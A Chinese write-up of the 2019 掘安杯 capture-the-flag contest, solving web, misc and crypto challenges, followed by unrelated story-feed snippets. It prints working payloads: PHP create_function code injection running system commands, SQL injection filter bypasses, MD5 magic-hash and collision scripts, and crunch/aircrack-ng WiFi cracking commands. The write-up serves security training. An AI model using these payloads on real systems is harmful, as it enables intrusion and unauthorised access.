2019 掘安杯 WriteUp

Web

Web签到

访问flag.php可以看到有个302跳转,flag就在请求头里。


base64解密得到flag

猜密码

打开F12获得源码:

<?php
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}

可以看到基于SESSION里的pwd来获取,那把session情况,那么pwd就变为null,就可以绕过了。
构造:

下载下载

F12看到提示:


构造:

/?file=flag.php

得到源码:

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
    }
    return base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    return $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)

?>

自己本地运行下decrypt()就能得到flag

该网站已被黑

bugkuctf 网站被黑原题

not_easy

打开给了源码:

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
} 

这是Code-Breaking Puzzles原题,这是最后$action($arg,'');这里的参数位置换了一下。
构造:

/?action=\create_function&arg=){}phpinfo();//

可以看到成功执行了phpinfo()


那就直接使用下面payload就可以了:

/?action=\create_function&arg=){}var_dump(scandir('./'));//    # 查看当前目录
/?action=\create_function&arg=){}var_dump(system('cat Th1s_1S_F1a9_Hav3_Fun'));//    # 获取flag

audit

打开给了源码:

 <?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

str1 OR Sstr2 no no no

题目与hgame 2019Week2Week3题目类似。
第一步直接构造弱类型和数组绕过。
第二步为MD5碰撞,使用python-md5-collision生成一堆相似的MD5文件。
第三步要求传入的a为大写字母,b为数字且长度大于6mn的长度大于6
$str8$ahash加密后的值,$str9$bhash加密后,把$m替换为$n,要求$str8== $str9。还是用的弱类型。
传入的$ahash加密后为0e开头,如果$bhash加密后0e开头,可以满足,长度为6不能满足,但是还有次替换,只需要把0e后不是数字的替换为数字就可以。
构造脚本满足好了:

def md5(str):
  p= hashlib.md5(str).hexdigest()
  return p


for i in range(1,999999):
  if md5(str(i))[0:2] == '0e':
    if 'e' not in md5(str(i))[2:]:
      if 'f' not in md5(str(i))[2:]:
        if 'a' not in md5(str(i))[2:]:
          print i

最后的脚本:

import hashlib
def md5(str):
  p= hashlib.md5(str).hexdigest()
  return p


for i in range(1,999999):
  if md5(str(i))[0:2] == '0e':
    if 'e' not in md5(str(i))[2:]:
      if 'f' not in md5(str(i))[2:]:
        if 'a' not in md5(str(i))[2:]:
          print i


#-*-codeing:utf-8
import requests
url="http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=bcd&n=123"
str5= open('./WEB/python-md5-collision/md5/out_test_001.txt','r').read()
str6= open('./WEB/python-md5-collision/md5/out_test_002.txt','r').read()
str7= open('./WEB/python-md5-collision/md5/out_test_003.txt','r').read()

data= {
  'str5':str5,
  'str6':str6,
  'str7':str7,
  'a':'QNKCDZO',
  'b':'259987'
}


res= requests.post(url=url,data=data)
print res.content

曲折的人生

一个登录框注入,有回显,过滤了一些unionselect、空格等。


双写绕过,空格用/**/来代替。
可以看到字段为32的地方有回显。

得到数据库xiaowei

查找数据表名为admin。这里or被过滤了,所以构造infmation_schema时要变为infoorrmation_schema

查到列名为idusernamepassword



查到用户名为goodboy_g-60Hellowor,密码为ajahas&&*44askldajaj


这里有个坑啊,提交的用户名里的or也会被过滤,所以提交的时候用户名要变为goodboy_g-60Hellowoorr
编写脚本登录:

import requests
from bs4 import BeautifulSoup

url = 'http://120.79.1.69:10005/?check'

username = 'goodboy_g-60Hellowoorr'
password = 'ajahas&&*44askldajaj'

s = requests.Session()
res = s.get(url)
res.encoding = res.apparent_encoding

soup = BeautifulSoup(res.text,'html.parser')
number = soup.find_all('div','rep')
answer = str(number[0])[17:-6]
answer = answer.replace('(','(').replace('X','*').replace(')',')')
code = int(eval(answer))

data = {
    'username':username,
    'password':password,
    'code':code
}

res = s.post(url,data=data)
res.encoding = res.apparent_encoding
print(res.text)

得到

 <div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代码审计.zip</a></div>

访问一个zip文件:

/sss88ioiern.gdsgj.zip

解压密码为%^$%&sss88ioiern.gdsgj
给了一个form.txt

Private Function getPassword(ByVal str As String) As String


    Dim reString As String
    
    Dim i As Integer
    i = 1
    
    
    While (i <= Len(str))
    
     reString = reString & Mid(str, i, 1)
     i = i + (i Mod 5)
    
    
    Wend
    

    getPassword = reString

End Function



Private Sub Command1_Click()

   Dim Dictionary As String
    
   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
   
   Dim password As String
   
   password = getPassword(Dictionary)


   Dim psw As String
   
   psw = Text1.Text
   

   If (psw = password) Then
   
    MsgBox "The password is correct!", vbOKOnly, "密码正确"
    
    Text1.Text = "Password for next pass : " & getPassword(password)
       
   Else
   
    MsgBox "PasswordFail!", vbOKOnly, "密码错误"
    
      
   End If
   
      

End Sub

编写脚本计算:

def getPassword(str):
    restr = ''
    i=1
    while i <= len(str):
        restr = restr + (str[i-1:i])
        i = i+ (i%5)
    return restr

dict = 'VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU='

password = getPassword(dict)
password = getPassword(password)
print(password)

得到:

VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

用这个作为压缩密码解压打开就可以得到flag

Misc

so_easy

打开看到一堆base58的东西。


使用base58在线解密得到一个image

使用base64编码转图片,得到一个二维码。

二维码扫描得到flag

这是什么玩意儿

得到一串=E4=BD=9B=E6=类似的:


使用Quoted-Printable编码在线解密

使用与佛论禅

使用社会主义编码

该死的温柔

打开图片备注里有提示:


使用outguess

$ outguess -k "guess" -r flag.jpg ctf.txt

解密得到flag

小梳子,我永远只爱你一个人

题目要破解wifi密码。
使用kali上的工具crunch制作字典:

$ crunch 11 11 -t 138364%%%%% -o /root/桌面/test.txt

然后使用aircrack-ng爆破密码:

$ aircrack-ng -w /root/桌面/test.txtTenda_D07D90-01.cap
# 选择编号12

你对我的网站做了什么

打开是一个流量包,追踪下http流量,可以发现一个flag.txt文件:


使用base64解密eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi
得到x\x9cK\xcbIL\xaf\x0e\x8dO3\xccK\x89\xf7MU\xac\x05\x003\xe3\x05\xe2
使用pythonzlib库解压得到flag

真的不是图片

题目是一张图片,我们binwalk一下,发现了有zip


使用foremost分离,无果。。


看到binwalk分析出来的图片中少了zip文件头,根据数据区寻找14000000
image

可以看到504b0304被替换成了6a613636也就是ja66
将他改回来:

使用binwalk分析,此时正常

并且分离出了2个压缩包,可以看出是一个压缩包放在另一个压缩包里了。所以只有一个压缩包。但是是被加密过的。

此时,将之前的ja66填上去,密码正确。解压文件
好多文件夹,打开后,每个文件夹有一个文本 里边都有一个字符
写个脚本

import base64
flag=''
for i in range(32):
    f=open('./subject/'+str(i)+'/'+str(i)+'.txt','r')
    flag+=f.read()
print base64.b64decode(flag)

Crypto

罗马帝国的奠基者

变异凯撒密码,用脚本:

s = "XXXX"
r = ''
for i in range(len(s)):
    r = r+chr(ord(s[i])+4+i)
print(r)
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,117评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,328评论 1 293
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,839评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,007评论 0 206
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,384评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,629评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,880评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,593评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,313评论 1 243
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,575评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,066评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,392评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,052评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,082评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,844评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,662评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,575评论 2 270

推荐阅读更多精彩内容

  • 今天上午,我们一家和姨妈一家一起去姥姥家过元旦。一路上我们在车里叽叽喳喳说笑个不停。 不知不觉我们很快来到了姥姥家...
    小润泽阅读 369评论 0 8
  • 一手干花 /第五版[首发微信] 近几天雨水是真丰沛,一天以内总在暴雨,暴雨骤停,阳光乍现和暴雨之间随机循环,好在雷...
    第五版地址找不到阅读 173评论 0 0
  • 人生阅历渐丰,情感脆弱日盛。 如此语于人不知,自己解悟也懵懂,不知何由生。 应是体会趋深,犹如肥厚土层。 但有栽种...
    花甲日记阅读 409评论 1 6
  • 【作者 / 乐评人:青烟岭】 前几天热映的综艺《国风美少年》中,有位选手的表现非常不错,最终也成功获得导师肯定,但...
    乐评人青烟岭阅读 393评论 0 1